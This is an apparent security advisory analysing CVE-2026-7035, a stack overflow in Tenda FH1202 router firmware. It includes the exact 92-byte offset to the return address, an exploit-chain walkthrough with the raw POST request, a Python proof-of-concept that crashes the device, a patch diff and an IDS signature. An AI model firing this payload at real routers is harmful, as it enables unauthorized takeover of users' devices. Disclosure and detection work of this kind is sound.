home intel cve-2026-7035-tenda-fh1202-stack-overflow-wrlclientset
CVE Analysis 2026-04-26 · 8 min read

CVE-2026-7035: Stack Overflow in Tenda FH1202 fromWrlclientSet via Go Arg

Tenda FH1202 1.2.0.14 httpd exposes a stack-based buffer overflow in fromWrlclientSet. Unauthenticated remote attackers can overwrite saved return address via unchecked Go parameter.

#buffer-overflow#stack-overflow#remote-code-execution#network-accessible#input-validation
Technical mode — for security professionals
▶ Attack flow — CVE-2026-7035 · Buffer Overflow
ATTACKERRemote / unauthBUFFER OVERFLOWCVE-2026-7035Cross-platform · HIGHCODE EXECArbitrary coderuns as targetCOMPROMISEFull accessNo confirmed exploits

Vulnerability Overview

CVE-2026-7035 is a stack-based buffer overflow in the httpd binary of Tenda FH1202 firmware version 1.2.0.14. The vulnerable surface is the fromWrlclientSet handler, registered at the /goform/WrlclientSet CGI endpoint. An attacker-controlled query parameter named Go is copied into a fixed-size stack buffer without any length validation. The result is a classical saved-$ra overwrite achievable from a single unauthenticated HTTP POST request over LAN or, depending on WAN exposure, the open internet.

CVSS 8.8 (HIGH) reflects the combination of network accessibility, low complexity, no required authentication, and full integrity/availability impact upon successful exploitation. The exploit has been publicly disclosed.

Affected Component

  • Device: Tenda FH1202
  • Firmware: 1.2.0.14
  • Binary: /usr/bin/httpd (statically linked MIPS32 big-endian)
  • Endpoint: POST /goform/WrlclientSet
  • Parameter: Go (redirect URL, attacker-controlled string)
  • Architecture: MIPS32 (applies equally to any cross-compiled derivative)

Root Cause Analysis

The fromWrlclientSet function retrieves wireless client configuration fields from the HTTP form body using the firmware's internal websGetVar helper, then copies the redirect target (Go) into a local stack buffer via strcpy. No length check precedes the copy. The decompiled pseudocode reconstructed from the binary pattern common to this Tenda httpd family:


// fromWrlclientSet — handler for POST /goform/WrlclientSet
// Reconstructed pseudocode; field names inferred from string table.
void fromWrlclientSet(webs_t *wp) {
    char  go_buf[64];         // fixed stack buffer — 64 bytes
    char  mac_buf[32];
    char  type_buf[16];
    char *go_param;
    char *mac_param;
    char *type_param;

    // Retrieve attacker-controlled parameters from POST body
    go_param   = websGetVar(wp, "Go",   "");   // attacker-controlled
    mac_param  = websGetVar(wp, "mac",  "");
    type_param = websGetVar(wp, "type", "");

    // BUG: missing bounds check here — strlen(go_param) may far exceed 64
    strcpy(go_buf, go_param);    // <-- STACK OVERFLOW: no length validation

    // Apply wireless client policy based on type/mac
    if (strcmp(type_param, "add") == 0) {
        wl_client_add(mac_param);
    } else if (strcmp(type_param, "del") == 0) {
        wl_client_del(mac_param);
    }

    // Redirect using the (now-corrupted) go_buf
    websRedirect(wp, go_buf);
}
Root cause: fromWrlclientSet copies the HTTP Go parameter into a 64-byte stack buffer using strcpy without any length check, allowing an attacker to overwrite the saved return address and adjacent stack data with an arbitrarily long string.

websGetVar returns a pointer directly into the parsed HTTP body — the full POST body is buffered in heap memory and the return value is simply a pointer into it. There is no truncation at the retrieval layer, meaning go_param can be as long as the HTTP server's receive buffer permits (typically up to several kilobytes on these devices).

Memory Layout

The stack frame for fromWrlclientSet on MIPS32 is reconstructed from the typical prologue/epilogue pattern in Tenda httpd binaries of this generation:


// Stack frame layout for fromWrlclientSet (MIPS32, big-endian)
// Frame size: ~0xA0 bytes (160 bytes), descending

struct fromWrlclientSet_frame {
    /* +0x00 */ char     type_buf[16];    // local: type parameter
    /* +0x10 */ char     mac_buf[32];     // local: mac parameter
    /* +0x30 */ char     go_buf[64];      // local: BUG target, 64 bytes
    /* +0x70 */ uint32_t saved_s_regs[6]; // $s0–$s5 callee-saved
    /* +0x88 */ uint32_t saved_fp;        // $s8 / frame pointer
    /* +0x8C */ uint32_t saved_ra;        // saved return address <-- overwrite target
    /* +0x90 */ uint32_t args_area[4];    // outgoing argument slots
    /* +0xA0 */ // caller's frame
};

STACK STATE BEFORE OVERFLOW (Go = "http://192.168.0.1"):
  [sp+0x00]  type_buf   : "add\0............"        (16 bytes)
  [sp+0x10]  mac_buf    : "AA:BB:CC:DD:EE:FF\0....." (32 bytes)
  [sp+0x30]  go_buf     : "http://192.168.0.1\0...." (64 bytes allotted)
  [sp+0x70]  saved $s0  : 
  ...
  [sp+0x8C]  saved $ra  : 
  [sp+0x90]  arg area   : ...

STACK STATE AFTER OVERFLOW (Go = "A"*100 + "\xDE\xAD\xBE\xEF"):
  [sp+0x00]  type_buf   : [intact — copied before go_buf]
  [sp+0x10]  mac_buf    : [intact — copied before go_buf]
  [sp+0x30]  go_buf     : "AAAAAAAAAAAAAAAA..." (overflow begins at sp+0x70)
  [sp+0x70]  saved $s0  : 0x41414141  <- CORRUPTED
  [sp+0x74]  saved $s1  : 0x41414141  <- CORRUPTED
  [sp+0x78]  saved $s2  : 0x41414141  <- CORRUPTED
  [sp+0x7C]  saved $s3  : 0x41414141  <- CORRUPTED
  [sp+0x80]  saved $s4  : 0x41414141  <- CORRUPTED
  [sp+0x84]  saved $s5  : 0x41414141  <- CORRUPTED
  [sp+0x88]  saved $fp  : 0x41414141  <- CORRUPTED
  [sp+0x8C]  saved $ra  : 0xDEADBEEF  <- HIJACKED: attacker-controlled $pc

The distance from the start of go_buf to saved_ra is 0x5C bytes (92 bytes). A payload of 92 bytes of padding followed by a 4-byte ROP gadget address gives full control of the program counter on function return.

Exploitation Mechanics


EXPLOIT CHAIN:
1. Identify target — confirm /goform/WrlclientSet is reachable (LAN or exposed WAN).
   No authentication cookie or token is required by the httpd dispatcher.

2. Locate ROP gadget — in the statically linked httpd binary, identify a
   "move $t9, $s0 ; jalr $t9" or "lw $ra, N($sp) ; jr $ra" style gadget
   to pivot from $ra control into a ROP chain or direct shellcode.

3. Craft Go parameter — construct payload:
     Go = <92-byte padding> +  + 
   URL-encode as needed; httpd's body parser handles standard form encoding.

4. Send single POST request — no prior session establishment needed:
     POST /goform/WrlclientSet HTTP/1.1
     Host: 192.168.0.1
     Content-Type: application/x-www-form-urlencoded
     Content-Length: 

     mac=AA%3ABB%3ACC%3ADD%3AEE%3AFF&type=add&Go=

5. strcpy in fromWrlclientSet executes — stack frame is corrupted as diagrammed.

6. Function returns — corrupted $ra is loaded into $pc; execution transfers
   to attacker-controlled address.

7. ROP chain executes — pivot to stack or heap shellcode; achieve arbitrary
   code execution as root (httpd runs as root on FH1202).

Because the device runs MIPS with no ASLR and no stack canary in this firmware version, there is no probabilistic element to exploitation. The gadget address is static and reusable across all units running the same firmware build.


#!/usr/bin/env python3
# CVE-2026-7035 — Proof-of-concept trigger (crash demonstration only)
# Target: Tenda FH1202 1.2.0.14 @ 192.168.0.1
# DO NOT use against devices you do not own or have explicit permission to test.

import requests

TARGET  = "http://192.168.0.1"
ENDPOINT = "/goform/WrlclientSet"

# 92 bytes to reach saved $ra, then 4 bytes to overwrite it
PADDING     = b"A" * 92
RA_OVERWRITE = b"\xDE\xAD\xBE\xEF"   # replace with valid gadget for live exploit
PAYLOAD     = PADDING + RA_OVERWRITE

data = {
    "mac":  "AA:BB:CC:DD:EE:FF",
    "type": "add",
    "Go":   PAYLOAD.decode("latin-1"),
}

try:
    r = requests.post(TARGET + ENDPOINT, data=data, timeout=5)
    print(f"[*] Response: {r.status_code}")
except requests.exceptions.ConnectionError:
    # Device crashed / rebooted — expected on successful $ra overwrite
    print("[+] Connection dropped — stack smash likely triggered")

Patch Analysis

No official patch has been released by Tenda as of publication. The correct remediation at the code level is a bounded copy with explicit length validation. A representative diff against the vulnerable logic:


// BEFORE (vulnerable — fromWrlclientSet, firmware 1.2.0.14):
go_param = websGetVar(wp, "Go", "");
strcpy(go_buf, go_param);           // no length check, go_buf is 64 bytes

// AFTER (patched — recommended fix):
go_param = websGetVar(wp, "Go", "");
if (strlen(go_param) >= sizeof(go_buf)) {
    // Reject oversized redirect target; log and return error
    websError(wp, 400, "Invalid redirect target");
    return;
}
strncpy(go_buf, go_param, sizeof(go_buf) - 1);
go_buf[sizeof(go_buf) - 1] = '\0';  // guarantee null termination

The minimal hardening alternative, if a full fix is not feasible in a firmware revision cycle, is to impose a maximum parameter length at the HTTP body parsing layer before values are handed to handlers — a single MAX_PARAM_LEN enforcement in websGetVar would mitigate this class of bug device-wide. Additionally, enabling stack canaries (-fstack-protector-strong) and ASLR in the build chain would significantly raise exploitation cost even when logic bugs survive code review.

Detection and Indicators

Network-level detection: A POST to /goform/WrlclientSet where the Go parameter body length exceeds 64 bytes should be treated as anomalous. Legitimate redirect values are short URL strings; no valid use case requires a 100+ byte Go value.


SNORT/SURICATA SIGNATURE (conceptual):
alert http any any -> $HOME_NET 80 (
    msg:"CVE-2026-7035 Tenda FH1202 WrlclientSet Go overflow attempt";
    flow:to_server,established;
    http.method; content:"POST";
    http.uri; content:"/goform/WrlclientSet";
    http.request_body; content:"Go="; distance:0;
    pcre:"/Go=[^&]{65,}/";
    classtype:web-application-attack;
    sid:20267035; rev:1;
)

Device-level indicators:

  • Unexpected httpd crashes or device reboots correlated with POST requests to /goform/WrlclientSet
  • Anomalous outbound connections from the router post-exploitation (reverse shell, DNS exfiltration)
  • New firewall rules, DDNS changes, or DNS server modifications not initiated by the legitimate admin

Remediation

  • Firmware update: Monitor Tenda's official support page for a patched firmware release. Apply immediately when available.
  • Firewall WAN access: If remote management is not required, ensure TCP/80 and TCP/443 on the WAN interface are blocked at the ISP or upstream firewall level. The majority of real-world impact targets devices with management accidentally exposed to the internet.
  • LAN segmentation: Treat the router management interface as an untrusted zone from guest and IoT VLANs. This vulnerability requires no credentials, so LAN adjacency is sufficient for exploitation.
  • Disable unused features: If wireless client block/allow list management (WrlclientSet) is not actively used, consider whether an intermediate firmware or firewall rule can block access to /goform/WrlclientSet at the application level.
  • Vendor escalation: CVE-2026-7035 is assigned and public. Affected users should open a support case with Tenda to accelerate patch delivery.
CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →